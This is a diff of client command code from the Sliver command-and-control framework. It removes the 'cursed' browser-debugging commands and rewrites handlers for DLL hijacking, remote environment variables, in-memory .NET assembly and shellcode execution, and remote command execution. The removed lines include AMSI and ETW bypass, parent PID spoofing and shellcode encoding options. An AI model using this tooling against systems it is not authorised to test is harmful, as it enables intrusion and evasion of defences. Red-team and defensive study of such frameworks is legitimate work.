KeepAlivePeriod: 60 * time.Second,
DialTimeout: 30 * time.Second,
}
tcpProxy.AddRoute(bindAddr, channelProxy)
portFwd := core.Portfwds.Add(tcpProxy, channelProxy)
curse := &core.CursedProcess{
SessionID: session.ID,
PID: electronExec.GetPid(),
PortFwd: portFwd,
BindTCPPort: bindPort,
Platform: session.GetOS(),
ExePath: electronExe,
}
core.CursedProcesses.Store(bindPort, curse)
go func() {
err := tcpProxy.Run()
if err != nil {
log.Printf("Proxy error %s", err)
}
core.CursedProcesses.Delete(bindPort)
}()
con.PrintInfof("Port forwarding %s -> %s\n", bindAddr, remoteAddr)
return curse, nil
}
-82
View File
@@ -1,82 +0,0 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"strconv"
"github.com/AlecAivazis/survey/v2"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
func CursedRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
bindPort, err := strconv.Atoi(args[0])
if err != nil {
con.PrintErrorf("Failed to parse bind port argument: %s (%s)", args[0], err.Error())
return
}
kill, _ := cmd.Flags().GetBool("kill")
core.CloseCursedProcessesByBindPort(session.ID, bindPort)
if kill {
confirm := false
err := survey.AskOne(&survey.Confirm{Message: "Kill the cursed process?"}, &confirm)
if err != nil {
con.PrintErrorf("%s", err)
return
}
if !confirm {
con.PrintErrorf("User cancel\n")
return
}
// Get cursed process
var cursedProc *core.CursedProcess
curses := core.CursedProcessBySessionID(session.ID)
for _, curse := range curses {
if curse.BindTCPPort == bindPort {
cursedProc = curse
}
}
if cursedProc == nil {
con.PrintErrorf("Failed to find cursed process\n")
return
}
terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
Request: con.ActiveTarget.Request(cmd),
Pid: int32(cursedProc.PID),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if terminateResp.Response != nil && terminateResp.Response.Err != "" {
con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
return
}
}
}
@@ -1,70 +0,0 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"fmt"
"os"
"time"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/overlord"
)
func CursedScreenshotCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
curse := selectCursedProcess(con)
if curse == nil {
return
}
con.Println()
con.PrintInfof("Querying debug targets ... ")
targets, err := overlord.QueryDebugTargets(curse.DebugURL().String())
con.Printf(console.Clearln + "\r")
if err != nil {
con.PrintErrorf("Failed to query debug targets: %s\n", err)
return
}
target := selectDebugTarget(targets, con)
if target == nil {
return
}
con.PrintInfof("Taking a screenshot of '%s' ... \n\n", target.Title)
quality, _ := cmd.Flags().GetInt64("quality")
if quality < 1 || quality > 100 {
con.PrintErrorf("Invalid quality value, must be between 1 and 100\n")
return
}
data, err := overlord.Screenshot(curse, target.WebSocketDebuggerURL, target.ID, quality)
if err != nil {
con.PrintErrorf("Failed to take screenshot: %s\n", err)
return
}
saveFile, _ := cmd.Flags().GetString("save")
if saveFile == "" {
saveFile = fmt.Sprintf("screenshot-%s.png", time.Now().Format("20060102150405"))
}
err = os.WriteFile(saveFile, data, 0o644)
if err != nil {
con.PrintErrorf("Failed to save screenshot: %s\n", err)
return
}
con.PrintInfof("Screenshot saved to %s\n", saveFile)
}
-122
View File
@@ -1,122 +0,0 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"fmt"
insecureRand "math/rand"
"strconv"
"strings"
"text/tabwriter"
"github.com/AlecAivazis/survey/v2"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
)
// CursedChromeCmd - Execute a .NET assembly in-memory
func CursedCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
// Collect existing curses from core
cursedProcesses := [][]string{}
core.CursedProcesses.Range(func(key, value interface{}) bool {
curse := value.(*core.CursedProcess)
cursedProcesses = append(cursedProcesses, []string{
fmt.Sprintf("%d", curse.BindTCPPort),
strings.Split(curse.SessionID, "-")[0],
fmt.Sprintf("%d", curse.PID),
curse.Platform,
curse.ExePath,
curse.DebugURL().String(),
})
return true
})
// Display table if we have 1 or more curses
if 0 < len(cursedProcesses) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"Bind Port", "Session ID", "PID", "Platform", "Executable", "Debug URL",
})
for _, rowEntries := range cursedProcesses {
row := table.Row{}
for _, entry := range rowEntries {
row = append(row, entry)
}
tw.AppendRow(table.Row(row))
}
con.Printf("%s\n", tw.Render())
} else {
con.PrintInfof("No cursed processes\n")
}
}
// selectCursedProcess - Interactively select a cursed process from a list
func selectCursedProcess(con *console.SliverConsoleClient) *core.CursedProcess {
cursedProcesses := []*core.CursedProcess{}
core.CursedProcesses.Range(func(key, value interface{}) bool {
cursedProcesses = append(cursedProcesses, value.(*core.CursedProcess))
return true
})
if len(cursedProcesses) < 1 {
con.PrintErrorf("No cursed processes\n")
return nil
}
port2process := map[int]*core.CursedProcess{}
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
for _, cursedProcess := range cursedProcesses {
fmt.Fprintf(table, "%d\t%s\t%s\n",
cursedProcess.BindTCPPort,
fmt.Sprintf("[Session %s]", strings.Split(cursedProcess.SessionID, "-")[0]),
cursedProcess.ExePath)
port2process[cursedProcess.BindTCPPort] = cursedProcess
}
table.Flush()
options := strings.Split(outputBuf.String(), "\n")
options = options[:len(options)-1] // Remove the last empty option
prompt := &survey.Select{
Message: "Select a curse:",
Options: options,
}
selected := ""
err := survey.AskOne(prompt, &selected)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if selected == "" {
return nil
}
selectedPortNumber, _ := strconv.Atoi(strings.Split(selected, " ")[0])
return port2process[selectedPortNumber]
}
func getRemoteDebuggerPort(cmd *cobra.Command) int {
port, _ := cmd.Flags().GetInt("remote-debugging-port")
if port == 0 {
port = insecureRand.Intn(30000) + 10000
}
return port
}
+11 -13
View File
@@ -21,12 +21,11 @@ package dllhijack
import (
"context"
"fmt"
"os"
"github.com/spf13/cobra"
"io/ioutil"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
)
// dllhijack --ref-path c:\windows\system32\msasn1.dll --file /tmp/runner.dll TARGET_PATH
@@ -34,7 +33,7 @@ import (
// dllhijack --ref-path c:\windows\system32\msasn1.dll --ref-file /tmp/ref.dll --profile dll TARGET_PATH
// DllHijackCmd -- implements the dllhijack command
func DllHijackCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
func DllHijackCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var (
localRefData []byte
targetDLLData []byte
@@ -45,12 +44,11 @@ func DllHijackCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []s
return
}
targetPath := args[0]
referencePath, _ := cmd.Flags().GetString("reference-path")
localFile, _ := cmd.Flags().GetString("file")
profileName, _ := cmd.Flags().GetString("profile")
localReferenceFilePath, _ := cmd.Flags().GetString("reference-file")
targetPath := ctx.Args.String("target-path")
referencePath := ctx.Flags.String("reference-path")
localFile := ctx.Flags.String("file")
profileName := ctx.Flags.String("profile")
localReferenceFilePath := ctx.Flags.String("reference-file")
if referencePath == "" {
con.PrintErrorf("Please provide a path to the reference DLL on the target system\n")
@@ -58,7 +56,7 @@ func DllHijackCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []s
}
if localReferenceFilePath != "" {
localRefData, err = os.ReadFile(localReferenceFilePath)
localRefData, err = ioutil.ReadFile(localReferenceFilePath)
if err != nil {
con.PrintErrorf("Could not load the reference file from the client: %s\n", err)
return
@@ -70,7 +68,7 @@ func DllHijackCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []s
con.PrintErrorf("please use either --profile or --File")
return
}
targetDLLData, err = os.ReadFile(localFile)
targetDLLData, err = ioutil.ReadFile(localFile)
if err != nil {
con.PrintErrorf("Error: %s\n", err)
return
@@ -85,7 +83,7 @@ func DllHijackCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []s
TargetLocation: targetPath,
ReferenceDLL: localRefData,
TargetDLL: targetDLLData,
Request: con.ActiveTarget.Request(cmd),
Request: con.ActiveTarget.Request(ctx),
ProfileName: profileName,
})
ctrl <- true
+5 -11
View File
@@ -21,30 +21,24 @@ package environment
import (
"context"
"google.golang.org/protobuf/proto"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// EnvGetCmd - Get a remote environment variable
func EnvGetCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
func EnvGetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
var name string
if len(args) > 0 {
name = args[0]
}
name := ctx.Args.String("name")
envInfo, err := con.Rpc.GetEnv(context.Background(), &sliverpb.EnvReq{
Name: name,
Request: con.ActiveTarget.Request(cmd),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
+7 -8
View File
@@ -21,25 +21,23 @@ package environment
import (
"context"
"google.golang.org/protobuf/proto"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// EnvSetCmd - Set a remote environment variable
func EnvSetCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
func EnvSetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
name := args[0]
value := args[1]
name := ctx.Args.String("name")
value := ctx.Args.String("value")
if name == "" || value == "" {
con.PrintErrorf("Usage: setenv KEY VALUE\n")
return
@@ -50,7 +48,7 @@ func EnvSetCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri
Key: name,
Value: value,
},
Request: con.ActiveTarget.Request(cmd),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
@@ -69,6 +67,7 @@ func EnvSetCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri
} else {
PrintSetEnvInfo(name, value, envInfo, con)
}
}
// PrintSetEnvInfo - Print the set environment info
+7 -7
View File
@@ -21,23 +21,21 @@ package environment
import (
"context"
"google.golang.org/protobuf/proto"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// EnvUnsetCmd - Unset a remote environment variable
func EnvUnsetCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
func EnvUnsetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
name := args[0]
name := ctx.Args.String("name")
if name == "" {
con.PrintErrorf("Usage: setenv NAME\n")
return
@@ -45,8 +43,9 @@ func EnvUnsetCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st
unsetResp, err := con.Rpc.UnsetEnv(context.Background(), &sliverpb.UnsetEnvReq{
Name: name,
Request: con.ActiveTarget.Request(cmd),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
@@ -64,6 +63,7 @@ func EnvUnsetCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st
} else {
PrintUnsetEnvInfo(name, unsetResp, con)
}
}
// PrintUnsetEnvInfo - Print the set environment info
+55 -67
View File
@@ -20,94 +20,59 @@ package exec
import (
"context"
"fmt"
"io/ioutil"
"os"
"path/filepath"
"strings"
"github.com/AlecAivazis/survey/v2"
"github.com/spf13/cobra"
"google.golang.org/protobuf/proto"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// ExecuteAssemblyCmd - Execute a .NET assembly in-memory
func ExecuteAssemblyCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
arch, _ := cmd.Flags().GetString("arch")
method, _ := cmd.Flags().GetString("method")
className, _ := cmd.Flags().GetString("class")
appDomain, _ := cmd.Flags().GetString("app-domain")
pPid, _ := cmd.Flags().GetUint32("ppid")
assemblyPath := args[0]
assemblyPath := ctx.Args.String("filepath")
isDLL := false
if filepath.Ext(assemblyPath) == ".dll" {
isDLL = true
}
if isDLL {
if className == "" || method == "" {
if ctx.Flags.String("class") == "" || ctx.Flags.String("method") == "" {
con.PrintErrorf("Please provide a class name (namespace.class) and method\n")
return
}
}
assemblyBytes, err := os.ReadFile(assemblyPath)
assemblyBytes, err := ioutil.ReadFile(assemblyPath)
if err != nil {
con.PrintErrorf("%s", err.Error())
return
}
assemblyArgs := args[1:]
process, _ := cmd.Flags().GetString("process")
processArgsStr, _ := cmd.Flags().GetString("process-arguments")
processArgs := strings.Split(processArgsStr, " ")
inProcess, _ := cmd.Flags().GetBool("in-process")
runtime, _ := cmd.Flags().GetString("runtime")
etwBypass, _ := cmd.Flags().GetBool("etw-bypass")
amsiBypass, _ := cmd.Flags().GetBool("amsi-bypass")
if !inProcess && (runtime != "" || etwBypass || amsiBypass) {
con.PrintErrorf("The --runtime, --etw-bypass, and --amsi-bypass flags can only be used with the --in-process flag\n")
return
}
assemblyArgsStr := strings.Join(assemblyArgs, " ")
assemblyArgsStr = strings.TrimSpace(assemblyArgsStr)
if len(assemblyArgsStr) > 256 && !inProcess {
con.PrintWarnf(" Injected .NET assembly arguments are limited to 256 characters when using the default fork/exec model.\nConsider using the --in-process flag to execute the .NET assembly in-process and work around this limitation.\n")
confirm := false
prompt := &survey.Confirm{Message: "Do you want to continue?"}
survey.AskOne(prompt, &confirm, nil)
if !confirm {
return
}
}
assemblyArgs := ctx.Args.StringList("arguments")
process := ctx.Flags.String("process")
ctrl := make(chan bool)
con.SpinUntil("Executing assembly ...", ctrl)
execAssembly, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
Request: con.ActiveTarget.Request(cmd),
IsDLL: isDLL,
Process: process,
Arguments: assemblyArgsStr,
Assembly: assemblyBytes,
Arch: arch,
Method: method,
ClassName: className,
AppDomain: appDomain,
ProcessArgs: processArgs,
PPid: pPid,
Runtime: runtime,
EtwBypass: etwBypass,
AmsiBypass: amsiBypass,
InProcess: inProcess,
Request: con.ActiveTarget.Request(ctx),
IsDLL: isDLL,
Process: process,
Arguments: strings.Join(assemblyArgs, " "),
Assembly: assemblyBytes,
Arch: ctx.Flags.String("arch"),
Method: ctx.Flags.String("method"),
ClassName: ctx.Flags.String("class"),
AppDomain: ctx.Flags.String("app-domain"),
})
ctrl <- true
<-ctrl
@@ -115,7 +80,7 @@ func ExecuteAssemblyCmd(cmd *cobra.Command, con *console.SliverConsoleClient, ar
con.PrintErrorf("%s", err)
return
}
hostName := getHostname(session, beacon)
hostname := getHostname(session, beacon)
if execAssembly.Response != nil && execAssembly.Response.Async {
con.AddBeaconCallback(execAssembly.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, execAssembly)
@@ -123,29 +88,52 @@ func ExecuteAssemblyCmd(cmd *cobra.Command, con *console.SliverConsoleClient, ar
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
HandleExecuteAssemblyResponse(execAssembly, assemblyPath, hostName, cmd, con)
PrintExecuteAssembly(execAssembly, hostname, assemblyPath, ctx, con)
})
con.PrintAsyncResponse(execAssembly.Response)
} else {
HandleExecuteAssemblyResponse(execAssembly, assemblyPath, hostName, cmd, con)
PrintExecuteAssembly(execAssembly, hostname, assemblyPath, ctx, con)
}
}
func HandleExecuteAssemblyResponse(execAssembly *sliverpb.ExecuteAssembly, assemblyPath string, hostName string, cmd *cobra.Command, con *console.SliverConsoleClient) {
saveLoot, _ := cmd.Flags().GetBool("loot")
lootName, _ := cmd.Flags().GetString("name")
// PrintExecuteAssembly - Print the results of an assembly execution
func PrintExecuteAssembly(execAssembly *sliverpb.ExecuteAssembly, hostname string,
assemblyPath string, ctx *grumble.Context, con *console.SliverConsoleClient) {
if execAssembly.GetResponse().GetErr() != "" {
con.PrintErrorf("Error: %s\n", execAssembly.GetResponse().GetErr())
return
}
save, _ := cmd.Flags().GetBool("save")
var outFilePath *os.File
var err error
if ctx.Flags.Bool("save") {
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
outFilePath, err = ioutil.TempFile("", outFile)
}
con.PrintInfof("Assembly output:\n%s", string(execAssembly.GetOutput()))
if outFilePath != nil {
outFilePath.Write(execAssembly.GetOutput())
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
PrintExecutionOutput(string(execAssembly.GetOutput()), save, cmd.Name(), hostName, con)
if saveLoot {
LootExecute(execAssembly.GetOutput(), lootName, cmd.Name(), assemblyPath, hostName, con)
if ctx.Flags.Bool("loot") && 0 < len(execAssembly.GetOutput()) {
name := fmt.Sprintf("[execute-assembly] %s", filepath.Base(assemblyPath))
err = loot.AddLootFile(con.Rpc, name, "console.txt", execAssembly.GetOutput(), false)
if err != nil {
con.PrintErrorf("Failed to save output as loot: %s\n", err)
} else {
con.PrintInfof("Output saved as loot\n")
}
}
}
func getHostname(session *clientpb.Session, beacon *clientpb.Beacon) string {
if session != nil {
return session.Hostname
}
if beacon != nil {
return beacon.Hostname
}
return ""
}
+23 -54
View File
@@ -23,37 +23,35 @@ import (
"context"
"fmt"
"io"
"io/ioutil"
"log"
"os"
"golang.org/x/term"
"google.golang.org/protobuf/proto"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"golang.org/x/crypto/ssh/terminal"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// ExecuteShellcodeCmd - Execute shellcode in-memory
func ExecuteShellcodeCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
rwxPages, _ := cmd.Flags().GetBool("rwx-pages")
interactive, _ := cmd.Flags().GetBool("interactive")
interactive := ctx.Flags.Bool("interactive")
if interactive && beacon != nil {
con.PrintErrorf("Interactive shellcode can only be executed in a session\n")
return
}
pid, _ := cmd.Flags().GetUint32("pid")
shellcodePath := args[0]
shellcodeBin, err := os.ReadFile(shellcodePath)
pid := ctx.Flags.Uint("pid")
shellcodePath := ctx.Args.String("filepath")
shellcodeBin, err := ioutil.ReadFile(shellcodePath)
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return
@@ -62,39 +60,8 @@ func ExecuteShellcodeCmd(cmd *cobra.Command, con *console.SliverConsoleClient, a
con.PrintErrorf("Cannot use both `--pid` and `--interactive`\n")
return
}
shikataGaNai, _ := cmd.Flags().GetBool("shikata-ga-nai")
if shikataGaNai {
if !rwxPages {
con.PrintErrorf("Cannot use shikata ga nai without RWX pages enabled\n")
return
}
arch, _ := cmd.Flags().GetString("architecture")
if arch != "386" && arch != "amd64" {
con.PrintErrorf("Invalid shikata ga nai architecture (must be 386 or amd64)\n")
return
}
iter, _ := cmd.Flags().GetUint32("iterations")
con.PrintInfof("Encoding shellcode ...\n")
resp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
Encoder: clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
Architecture: arch,
Iterations: iter,
BadChars: []byte{},
Data: shellcodeBin,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
oldSize := len(shellcodeBin)
shellcodeBin = resp.GetData()
con.PrintInfof("Shellcode encoded in %d iterations (%d bytes -> %d bytes)\n", iter, oldSize, len(shellcodeBin))
}
process, _ := cmd.Flags().GetString("process")
if interactive {
executeInteractive(cmd, process, shellcodeBin, rwxPages, con)
executeInteractive(ctx, ctx.Flags.String("process"), shellcodeBin, ctx.Flags.Bool("rwx-pages"), con)
return
}
ctrl := make(chan bool)
@@ -102,9 +69,9 @@ func ExecuteShellcodeCmd(cmd *cobra.Command, con *console.SliverConsoleClient, a
con.SpinUntil(msg, ctrl)
shellcodeTask, err := con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
Data: shellcodeBin,
RWXPages: rwxPages,
Pid: pid,
Request: con.ActiveTarget.Request(cmd),
RWXPages: ctx.Flags.Bool("rwx-pages"),
Pid: uint32(pid),
Request: con.ActiveTarget.Request(ctx),
})
ctrl <- true
<-ctrl
@@ -137,7 +104,7 @@ func PrintExecuteShellcode(task *sliverpb.Task, con *console.SliverConsoleClient
}
}
func executeInteractive(cmd *cobra.Command, hostProc string, shellcode []byte, rwxPages bool, con *console.SliverConsoleClient) {
func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte, rwxPages bool, con *console.SliverConsoleClient) {
// Check active session
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
@@ -152,19 +119,21 @@ func executeInteractive(cmd *cobra.Command, hostProc string, shellcode []byte, r
rpcTunnel, err := con.Rpc.CreateTunnel(context.Background(), &sliverpb.Tunnel{
SessionID: session.ID,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
tunnel := core.GetTunnels().Start(rpcTunnel.GetTunnelID(), rpcTunnel.GetSessionID())
tunnel := core.Tunnels.Start(rpcTunnel.GetTunnelID(), rpcTunnel.GetSessionID())
shell, err := con.Rpc.Shell(context.Background(), &sliverpb.ShellReq{
Request: con.ActiveTarget.Request(cmd),
Request: con.ActiveTarget.Request(ctx),
Path: hostProc,
EnablePTY: !noPty,
TunnelID: tunnel.ID,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
@@ -176,7 +145,7 @@ func executeInteractive(cmd *cobra.Command, hostProc string, shellcode []byte, r
msg := fmt.Sprintf("Sending shellcode to %s ...", session.GetName())
con.SpinUntil(msg, ctrl)
_, err = con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
Request: con.ActiveTarget.Request(cmd),
Request: con.ActiveTarget.Request(ctx),
Pid: pid,
Data: shellcode,
RWXPages: rwxPages,
@@ -192,9 +161,9 @@ func executeInteractive(cmd *cobra.Command, hostProc string, shellcode []byte, r
log.Printf("Bound remote program pid %d to tunnel %d", shell.Pid, shell.TunnelID)
con.PrintInfof("Started remote shell with pid %d\n\n", shell.Pid)
var oldState *term.State
var oldState *terminal.State
if !noPty {
oldState, err = term.MakeRaw(0)
oldState, err = terminal.MakeRaw(0)
log.Printf("Saving terminal state: %v", oldState)
if err != nil {
con.PrintErrorf("Failed to save terminal state\n")
@@ -226,7 +195,7 @@ func executeInteractive(cmd *cobra.Command, hostProc string, shellcode []byte, r
if !noPty {
log.Printf("Restoring terminal state ...")
term.Restore(0, oldState)
terminal.Restore(0, oldState)
}
log.Printf("Exit interactive")
+40 -161
View File
@@ -18,43 +18,29 @@ package exec
import (
"context"
"fmt"
"os"
"path/filepath"
"strings"
"time"
"google.golang.org/protobuf/proto"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// ExecuteCmd - Run a command on the remote system
func ExecuteCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
cmdPath := args[0]
args = args[1:]
token, _ := cmd.Flags().GetBool("token")
hidden, _ := cmd.Flags().GetBool("hidden")
output, _ := cmd.Flags().GetBool("output")
stdout, _ := cmd.Flags().GetString("stdout")
stderr, _ := cmd.Flags().GetString("stderr")
saveLoot, _ := cmd.Flags().GetBool("loot")
saveOutput, _ := cmd.Flags().GetBool("save")
ppid, _ := cmd.Flags().GetUint32("ppid")
hostName := getHostname(session, beacon)
// If the user wants to loot or save the output, we have to capture it regardless of if they specified -o
captureOutput := output || saveLoot || saveOutput
cmdPath := ctx.Args.String("command")
args := ctx.Args.StringList("arguments")
token := ctx.Flags.Bool("token")
output := ctx.Flags.Bool("output")
stdout := ctx.Flags.String("stdout")
stderr := ctx.Flags.String("stderr")
if output && beacon != nil {
con.PrintWarnf("Using --output in beacon mode, if the command blocks the task will never complete\n\n")
@@ -65,28 +51,21 @@ func ExecuteCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []str
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Executing %s %s ...", cmdPath, strings.Join(args, " ")), ctrl)
if token || hidden || ppid != 0 {
if session.OS != "windows" {
con.PrintErrorf("The token, hide window, and ppid options are not valid on %s\n", session.OS)
return
}
exec, err = con.Rpc.ExecuteWindows(context.Background(), &sliverpb.ExecuteWindowsReq{
Request: con.ActiveTarget.Request(cmd),
Path: cmdPath,
Args: args,
Output: captureOutput,
Stderr: stderr,
Stdout: stdout,
UseToken: token,
HideWindow: hidden,
PPid: ppid,
if token {
exec, err = con.Rpc.ExecuteToken(context.Background(), &sliverpb.ExecuteTokenReq{
Request: con.ActiveTarget.Request(ctx),
Path: cmdPath,
Args: args,
Output: output,
Stderr: stderr,
Stdout: stdout,
})
} else {
exec, err = con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
Request: con.ActiveTarget.Request(cmd),
Request: con.ActiveTarget.Request(ctx),
Path: cmdPath,
Args: args,
Output: captureOutput,
Output: output,
Stderr: stderr,
Stdout: stdout,
})
@@ -105,44 +84,24 @@ func ExecuteCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []str
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
HandleExecuteResponse(exec, cmdPath, hostName, cmd, con)
PrintExecute(exec, ctx, con)
})
con.PrintAsyncResponse(exec.Response)
} else {
HandleExecuteResponse(exec, cmdPath, hostName, cmd, con)
PrintExecute(exec, ctx, con)
}
}
func HandleExecuteResponse(exec *sliverpb.Execute, cmdPath string, hostName string, cmd *cobra.Command, con *console.SliverConsoleClient) {
var lootedOutput []byte
stdout, _ := cmd.Flags().GetString("stdout")
saveLoot, _ := cmd.Flags().GetBool("loot")
saveOutput, _ := cmd.Flags().GetBool("save")
lootName, _ := cmd.Flags().GetString("name")
ignoreStderr, _ := cmd.Flags().GetBool("ignore-stderr")
if saveLoot || saveOutput {
lootedOutput = combineCommandOutput(exec, stdout == "", !ignoreStderr && 0 < len(exec.Stderr))
}
if saveLoot {
LootExecute(lootedOutput, lootName, cmd.Name(), cmdPath, hostName, con)
}
if saveOutput {
SaveExecutionOutput(string(lootedOutput), cmd.Name(), hostName, con)
}
PrintExecute(exec, cmd, con)
}
// PrintExecute - Print the output of an executed command
func PrintExecute(exec *sliverpb.Execute, cmd *cobra.Command, con *console.SliverConsoleClient) {
ignoreStderr, _ := cmd.Flags().GetBool("ignore-stderr")
stdout, _ := cmd.Flags().GetString("stdout")
stderr, _ := cmd.Flags().GetString("stderr")
func PrintExecute(exec *sliverpb.Execute, ctx *grumble.Context, con *console.SliverConsoleClient) {
ignoreStderr := ctx.Flags.Bool("ignore-stderr")
saveLoot := ctx.Flags.Bool("loot")
